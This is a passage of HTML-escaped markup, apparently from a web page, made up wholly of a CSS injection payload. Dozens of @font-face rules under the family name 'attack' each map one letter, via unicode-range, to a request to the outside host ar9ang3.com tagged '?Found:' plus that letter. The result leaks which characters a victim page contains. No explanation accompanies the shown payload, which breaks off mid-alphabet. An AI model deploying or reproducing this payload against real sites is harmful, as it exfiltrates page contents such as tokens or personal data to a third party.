&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:T');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0054;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:U');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0055;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:V');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0056;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:W');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0057;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:X');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0058;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:Y');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0059;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:Z');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+005A;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:a');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0061;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:b');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0062;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:c');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0063;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:d');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0064;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:e');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0065;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:f');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0066;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:g');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0067;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:h');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0068;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:i');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0069;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:j');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+006A;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:k');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+006B;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:l');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+006C;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:m');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+006D;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:n');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+006E;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:o');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+006F;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:p');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0070;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:q');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0071;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:r');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0072;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:s');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0073;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:t');&lt;/span&gt;&lt;/p&gt;
